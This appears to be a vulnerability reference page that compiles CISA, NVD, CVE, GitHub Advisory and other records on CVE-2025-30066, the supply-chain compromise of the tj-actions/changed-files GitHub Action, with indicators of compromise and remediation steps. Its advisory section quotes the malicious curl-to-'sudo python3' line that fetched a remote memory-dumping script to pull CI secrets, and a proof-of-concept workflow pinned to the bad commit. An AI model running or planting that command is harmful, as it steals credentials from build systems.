CVE-2025-30066: tj-actions/changed-files GitHub Action Embedded Malicious Code Vulnerability
Reference page built from the source records below, each shown as its source publishes it. Dataset version ref-82436ce5290f, updated 2026-11-02T23:39:54.475Z.
CISA Known Exploited Vulnerabilities
- Name
- tj-actions/changed-files GitHub Action Embedded Malicious Code Vulnerability
- Vendor
- tj-actions
- Product
- changed-files GitHub Action
- Added to the catalog
- 2025-03-18
- Due date for US federal agencies
- 2025-04-08
- Weaknesses
- CWE-506
- Catalog version
- 2026.10.30
tj-actions/changed-files GitHub Action contains an embedded malicious code vulnerability that allows a remote attacker to discover secrets by reading Github Actions Workflow Logs. These secrets may include, but are not limited to, valid AWS access keys, GitHub personal access tokens (PATs), npm tokens, and private RSA keys.
Required action (CISA)
Apply mitigations as set forth in the CISA instructions linked below. Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Ransomware use: CISA does not mark known use of this vulnerability in ransomware campaigns.
Links in CISA's notes
- https://www.cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-tj-actionschanged-files-cve-2025-30066-and-reviewdogaction
- https://github.com/tj-actions/changed-files/blob/45fb12d7a8bedb4da42342e52fe054c6c2c3fd73/README.md?plain=1#L20-L28
- https://nvd.nist.gov/vuln/detail/CVE-2025-30066
Read on 2026-11-02T23:39:54.475Z under licence cisa-kev-cc0@b0067899 from https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
NVD analysis
- Status
- Analyzed
- Published
- 2025-03-15T06:15:12.193
- Last modified
- 2026-09-24T13:10:00.320
- Weaknesses
- CWE-506, NVD-CWE-Other
tj-actions changed-files before 46 allows remote attackers to discover secrets by reading actions logs. (The tags v1 through v45.0.7 were affected on 2025-03-14 and 2025-03-15 because they were modified by a threat actor to point at commit 0e58ed8, which contained malicious updateFeatures code.)
| Metric | Score | Severity | Vector | Scored by |
|---|---|---|---|---|
| CVSS 3.1 | 8.6 | HIGH | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N | [email protected] (Secondary) |
| CVSS 3.1 | 8.6 | HIGH | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N | [email protected] (Primary) |
References
- https://blog.gitguardian.com/compromised-tj-actions/ (Exploit, Third Party Advisory)
- https://github.com/chains-project/maven-lockfile/pull/1111 (Issue Tracking)
- https://github.com/espressif/arduino-esp32/issues/11127 (Issue Tracking)
- https://github.com/github/docs/blob/962a1c8dccb8c0f66548b324e5b921b5e4fbc3d6/content/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions.md?plain=1#L191-L193 (Product)
- https://github.com/modal-labs/modal-examples/issues/1100 (Issue Tracking)
- https://github.com/rackerlabs/genestack/pull/903 (Issue Tracking)
- https://github.com/tj-actions/changed-files/blob/45fb12d7a8bedb4da42342e52fe054c6c2c3fd73/README.md?plain=1#L20-L28 (Product)
- https://github.com/tj-actions/changed-files/issues/2463 (Issue Tracking)
- https://github.com/tj-actions/changed-files/issues/2464 (Issue Tracking)
- https://github.com/tj-actions/changed-files/issues/2477 (Issue Tracking)
- https://news.ycombinator.com/item?id=43367987 (Issue Tracking, Third Party Advisory)
- https://news.ycombinator.com/item?id=43368870 (Issue Tracking, Third Party Advisory)
- https://semgrep.dev/blog/2025/popular-github-action-tj-actionschanged-files-is-compromised/ (Third Party Advisory)
- https://sysdig.com/blog/detecting-and-mitigating-the-tj-actions-changed-files-supply-chain-attack-cve-2025-30066/ (Mitigation, Third Party Advisory)
- https://web.archive.org/web/20250315060250/https://github.com/tj-actions/changed-files/issues/2463 (Issue Tracking)
- https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised (Exploit, Mitigation, Third Party Advisory)
- https://www.stream.security/post/github-action-supply-chain-attack-exposes-secrets-what-you-need-to-know-and-how-to-respond (Third Party Advisory)
- https://www.sweet.security/blog/cve-2025-30066-tj-actions-supply-chain-attack (Third Party Advisory)
- https://www.wiz.io/blog/github-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066 (Third Party Advisory)
- https://www.cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-github-action-cve-2025-30066 (Third Party Advisory, US Government Resource)
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-30066 (US Government Resource)
This product uses the NVD API but is not endorsed or certified by the NVD.
Read on 2026-11-02T23:42:22.836Z under licence nvd-api-terms-of-use@ff2a5288 from https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2025-30066
CVE record
- Assigner
- mitre
- State
- PUBLISHED
- Published
- 2025-03-15T00:00:00.000Z
- Updated
- 2026-02-26T19:09:29.628Z
- Problem types
- CWE-506 Embedded Malicious Code
tj-actions changed-files before 46 allows remote attackers to discover secrets by reading actions logs. (The tags v1 through v45.0.7 were affected on 2025-03-14 and 2025-03-15 because they were modified by a threat actor to point at commit 0e58ed8, which contained malicious updateFeatures code.)
References
- https://github.com/github/docs/blob/962a1c8dccb8c0f66548b324e5b921b5e4fbc3d6/content/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions.md?plain=1#L191-L193
- https://github.com/tj-actions/changed-files/issues/2463
- https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised
- https://semgrep.dev/blog/2025/popular-github-action-tj-actionschanged-files-is-compromised/
- https://news.ycombinator.com/item?id=43368870
- https://web.archive.org/web/20250315060250/https://github.com/tj-actions/changed-files/issues/2463
- https://news.ycombinator.com/item?id=43367987
- https://github.com/rackerlabs/genestack/pull/903
- https://github.com/chains-project/maven-lockfile/pull/1111
- https://sysdig.com/blog/detecting-and-mitigating-the-tj-actions-changed-files-supply-chain-attack-cve-2025-30066/
- https://github.com/espressif/arduino-esp32/issues/11127
- https://github.com/modal-labs/modal-examples/issues/1100
- https://github.com/tj-actions/changed-files/issues/2464
- https://github.com/tj-actions/changed-files/blob/45fb12d7a8bedb4da42342e52fe054c6c2c3fd73/README.md?plain=1#L20-L28
- https://www.wiz.io/blog/github-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066
- https://www.stream.security/post/github-action-supply-chain-attack-exposes-secrets-what-you-need-to-know-and-how-to-respond
- https://www.sweet.security/blog/cve-2025-30066-tj-actions-supply-chain-attack
- https://github.com/tj-actions/changed-files/issues/2477
- https://blog.gitguardian.com/compromised-tj-actions/
Read on 2026-11-03T02:15:53.243Z under licence cve-terms-of-use@81bfa2f3 from https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2025/30xxx/CVE-2025-30066.json
GitHub Advisory Database
GHSA-mrrh-fwg8-r2c3: tj-actions changed-files through 45.0.7 allows remote attackers to discover secrets by reading actions logs.
- Severity (GitHub)
- high
- CVSS
- 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N/E:H
- Weaknesses
- CWE-506
- Published
- 2025-03-15T06:30:34Z
- Updated
- 2025-10-22T19:29:01Z
- actions tj-actions/changed-files: affected <= 45.0.7, first patched 46.0.1
### Summary
A supply chain attack compromised the **tj-actions/changed-files** GitHub Action, impacting over 23,000 repositories. Attackers retroactively modified multiple version tags to reference a malicious commit, exposing CI/CD secrets in workflow logs. The vulnerability existed between **March 14 and March 15, 2025**, and has since been mitigated. This poses a significant risk of unauthorized access to sensitive information.
This has been patched in [v46.0.1](https://github.com/tj-actions/changed-files/releases/tag/v46.0.1).
### Details
The attack involved modifying the **tj-actions/changed-files** GitHub Action to execute a malicious Python script. This script extracted secrets from the Runner Worker process memory and printed them in GitHub Actions logs, making them publicly accessible in repositories with public workflow logs.
#### Key Indicators of Compromise (IoC):
- **Malicious commit**: [0e58ed8671d6b60d0890c21b07f8835ace038e67](https://github.com/tj-actions/changed-files/commit/0e58ed8671d6b60d0890c21b07f8835ace038e67)
- **Retroactively updated tags pointing to the malicious commit**:
- `v1.0.0`: 0e58ed8671d6b60d0890c21b07f8835ace038e67
- `v35.7.7-sec`: 0e58ed8671d6b60d0890c21b07f8835ace038e67
- `v44.5.1`: 0e58ed8671d6b60d0890c21b07f8835ace038e67
#### Malicious Code Execution:
The malicious script downloaded and executed a Python script that scanned memory for secrets, base64-encoded them, and logged them in the build logs:
```
B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3`
```
This script targeted the **Runner Worker process**, extracting and exfiltrating its memory contents.
### Proof of Concept (PoC)
#### Steps to Reproduce:
1. Create a GitHub Actions workflow using the **tj-actions/changed-files** action:
```yml
name: "tj-action changed-files incident"
on:
pull_request:
branches:
- main
jobs:
changed_files:
runs-on: ubuntu-latest
steps:
- name: Get changed files
id: changed-files
uses: tj-actions/changed-files@0e58ed8671d6b60d0890c21b07f8835ace038e67
```
2. Run the workflow and inspect the logs in the Actions tab.
3. Vulnerable workflows may display secrets in the logs.
#### Detection:
Analyze network traffic using [Harden-Runner](https://github.com/step-security/harden-runner), which detects unauthorized outbound requests to:
- `gist.githubusercontent.com`
Live reproduction logs:
🔗 [Harden-Runner Insights](https://app.stepsecurity.io/github/step-security/github-actions-goat/actions/runs/13866127357)
This attack was detected by **StepSecurity** when anomaly detection flagged an unauthorized outbound network call to `gist.githubusercontent.com`.
### Duration of Vulnerability
The vulnerability was active between **March 14 and March 15, 2025**.
### Action Required
1. **Review your workflows executed between March 14 and March 15**:
- Check the **changed-files** section for unexpected output.
- Decode suspicious output using the following command:
```
echo 'xxx' | base64 -d | base64 -d
```
- If the output contains sensitive information (e.g., tokens or secrets), revoke and rotate those secrets immediately.
2. **Update workflows referencing the compromised commit**:
- If your workflows reference the malicious commit directly by its SHA, update them immediately to avoid using the compromised version.
3. **Tagged versions**:
- If you are using tagged versions (e.g., `v35`, `v44.5.1`), no action is required as these tags have been updated and are now safe to use.
4. **Rotate potentially exposed secrets**:
- As a precaution, rotate any secrets that may have been exposed during this timeframe to ensure the continued security of your workflows.
### Impact
- **Type of vulnerability**: Supply chain attack, Secrets exposure, Information leakage
- **Who is impacted**:
- Over 23,000 repositories using **tj-actions/changed-files**.
- Organizations with public repositories are at the highest risk, as their logs may already be compromised.
- **Potential consequences**:
- Theft of CI/CD secrets (API keys, cloud credentials, SSH keys).
- Unauthorized access to source code, infrastructure, and production environments.
- Credential leaks in public repositories, enabling further supply chain attacks.
Read on 2026-11-03T05:52:42.091Z under licence ghsa-cc-by-4.0@9e5f1b3c from https://api.github.com/advisories/GHSA-mrrh-fwg8-r2c3
Also known as / affected packages
GHSA-mrrh-fwg8-r2c3
Also known as: CVE-2025-30066. OSV.dev record, GitHub advisory.
- GitHub Actions tj-actions/changed-files: introduced 0, fixed 46.0.1
Read on 2026-11-03T02:49:03.709Z under licence ghsa-cc-by-4.0@9e5f1b3c from https://api.osv.dev/v1/vulns/GHSA-mrrh-fwg8-r2c3
Defensive techniques (MITRE D3FEND)
D3FEND maps these defensive techniques to the weakness (CWE) that NVD lists for this CVE, through the digital artifacts the weakness affects. D3FEND does not say they stop this vulnerability.
CWE-506: Embedded Malicious Code
D3FEND lists no defensive technique for this weakness.
D3FEND ontology version 1.6.0.
Read on 2026-11-02T23:56:58.763Z under licence d3fend-terms-of-use@f98cbc7e from https://d3fend.mitre.org/api/weakness/cwe/CWE-506.json
MITRE D3FEND™ knowledge graph. © 2025 The MITRE Corporation.
"The MITRE Corporation (MITRE) hereby grants you a non-exclusive, royalty-free license to use D3FEND for research, development, and commercial purposes. Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy." Terms: https://d3fend.mitre.org/tou/
Sources and licences
CISA
Source: CISA Catalog of Known Exploited Vulnerabilities, version 2026.10.30, CC0 1.0. Use of this data does not imply endorsement by CISA or DHS.
National Vulnerability Database (NIST)
This product uses the NVD API but is not endorsed or certified by the NVD.
NVD API Terms of Use (NIST publications in the public domain, 17 U.S.C. 105)
CVE Program, The MITRE Corporation
Copyright © 1999-2026, The MITRE Corporation. CVE is a trademark and the CVE logo is a registered trademark of The MITRE Corporation. CVE Usage: MITRE hereby grants you a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute Common Vulnerabilities and Exposures (CVE™). Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy.
GitHub Advisory Database
Source: GitHub Advisory Database, https://github.com/advisories/GHSA-mrrh-fwg8-r2c3, licensed under CC BY 4.0 (https://creativecommons.org/licenses/by/4.0/). Changes: fields selected and reformatted by ransomware-tracker.com.
GitHub Advisory Database via OSV.dev
GHSA-mrrh-fwg8-r2c3: GitHub Advisory Database, https://github.com/advisories/GHSA-mrrh-fwg8-r2c3. Licensed CC BY 4.0 (https://creativecommons.org/licenses/by/4.0/), provided as is, without warranties. Retrieved via OSV.dev (https://osv.dev/vulnerability/GHSA-mrrh-fwg8-r2c3), which enriches records; fields selected and reformatted by ransomware-tracker.com.
MITRE D3FEND
MITRE D3FEND™ knowledge graph. © 2025 The MITRE Corporation.
"The MITRE Corporation (MITRE) hereby grants you a non-exclusive, royalty-free license to use D3FEND for research, development, and commercial purposes. Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy." Terms: https://d3fend.mitre.org/tou/MITRE D3FEND Terms of Use (site + knowledge graph); source repo MIT
Cite this page
Dragons Eye Ransomware Tracker, "CVE-2025-30066: tj-actions/changed-files GitHub Action Embedded Malicious Code Vulnerability",
entity page, dataset version ref-82436ce5290f, updated 2026-11-02T23:39:54.475Z,
https://ransomware-tracker.com/cve/CVE-2025-30066 (accessed 2026-11-03).
Underlying source: CISA Catalog of Known Exploited Vulnerabilities, version 2026.10.30.
Underlying source: National Vulnerability Database (NIST), CVE API 2.0, record last modified 2026-09-24T13:10:00.320.
Underlying source: CVE List (CVE Program, The MITRE Corporation), record updated 2026-02-26T19:09:29.628Z.
Underlying source: GitHub Advisory Database, GHSA-mrrh-fwg8-r2c3, updated 2025-10-22T19:29:01Z.
Underlying source: GitHub Advisory Database, GHSA-mrrh-fwg8-r2c3, via OSV.dev, modified 2025-10-22T19:29:00Z.
Underlying source: MITRE D3FEND, ontology version 1.6.0.
Pages change. The dataset version identifies the data, but no archive of old versions is kept, so this citation cannot be replayed later.